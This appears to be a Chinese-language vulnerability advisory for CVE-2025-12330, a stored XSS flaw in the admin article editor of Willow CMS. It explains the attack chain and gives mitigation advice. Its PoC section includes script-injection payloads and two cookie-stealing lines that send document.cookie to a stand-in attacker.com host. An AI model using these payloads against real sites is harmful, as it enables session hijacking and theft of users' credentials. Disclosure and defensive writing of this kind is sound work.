IPBUF安全漏洞报告
English
CVE-2025-12330 CVSS 2.4 低危

CVE-2025-12330 Willow CMS存储型XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12330
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Willow CMS

相关标签

存储型XSS跨站脚本攻击Willow CMSCVE-2025-12330内容管理系统Web安全漏洞管理员后台会话劫持

漏洞概述

CVE-2025-12330是Willow CMS中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Willow CMS 1.4.0及以下所有版本。漏洞位于管理后台的文章添加功能页面(/admin/articles/add),攻击者可以通过在文章标题(title)或正文内容(body)参数中注入恶意JavaScript代码。由于系统未对用户输入进行充分的HTML实体转义,提交的恶意代码会被永久存储在服务器端。当其他管理员或用户访问包含该恶意内容的文章页面时,注入的JavaScript代码将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、网页篡改等安全问题。尽管该漏洞的CVSS评分为2.4(低危级别),但由于是存储型XSS,攻击成功后影响范围较广,恶意代码会持续存在直到被手动清除。

技术细节

该漏洞属于存储型XSS(Stored XSS),也称为持久性跨站脚本攻击。漏洞根源在于Willow CMS在处理用户提交的文章内容时,对title和body参数缺乏有效的输入验证和输出编码。具体来说,当管理员通过/admin/articles/add页面提交文章时,系统直接将用户输入的内容存入数据库,而未对特殊字符(如<、>、"、'等)进行HTML实体转义。随后当其他用户请求查看该文章时,服务器从数据库读取未经过滤的内容并直接返回给客户端浏览器,浏览器将其解析为HTML/JavaScript执行。攻击者可以利用此漏洞执行任意JavaScript代码,包括窃取用户Cookie、伪造用户操作、植入钓鱼页面等。由于攻击点位于管理后台,且CVSS向量中PR:H(需要高权限),攻击者需要先获取管理员账号。但一旦payload被存储,所有访问该文章的用户都会受到影响,形成二次攻击。攻击复杂度低(AC:L),但需要用户交互(UI:R)来触发漏洞。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用Willow CMS,版本<=1.4.0
STEP 2
权限获取
攻击者通过暴力破解、社会工程或其他方式获取管理员账号凭据
STEP 3
漏洞利用
登录管理后台,访问/admin/articles/add页面,在title或body参数中注入XSS恶意载荷
STEP 4
载荷存储
携带恶意代码的文章被保存到数据库,形成持久化攻击点
STEP 5
触发攻击
当其他管理员或用户访问该文章时,浏览器解析并执行注入的JavaScript代码
STEP 6
数据窃取/会话劫持
恶意脚本执行后可窃取用户Cookie、会话令牌或其他敏感信息,甚至进行进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12330 PoC - Willow CMS Stored XSS // Target: Willow CMS <= 1.4.0 // Component: /admin/articles/add (Add Post Page) // Attack Vector: title or body parameter // Step 1: Login to admin panel // POST /admin/login // username=admin&password=admin123 // Step 2: Submit malicious article // POST /admin/articles/add // title=<script>alert(document.cookie)</script>&body=<script>alert('XSS')</script> // Step 3: When any user visits the article, XSS payload executes // Example XSS payload for cookie stealing: const xssPayload = `<script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>`; // Example XSS payload for session hijacking: const sessionHijackPayload = `<img src=x onerror=" document.location='https://attacker.com/log?c='+document.cookie ">`;

影响范围

Willow CMS <= 1.4.0

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)层面配置XSS过滤规则,拦截包含<script>、javascript:、onerror、onload等敏感关键词的请求;对管理后台实施IP白名单访问控制;手动清除数据库中已注入的恶意内容;监控日志中的异常XSS探测行为。由于漏洞已被公开披露且利用代码已发布,建议尽快进行正式修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表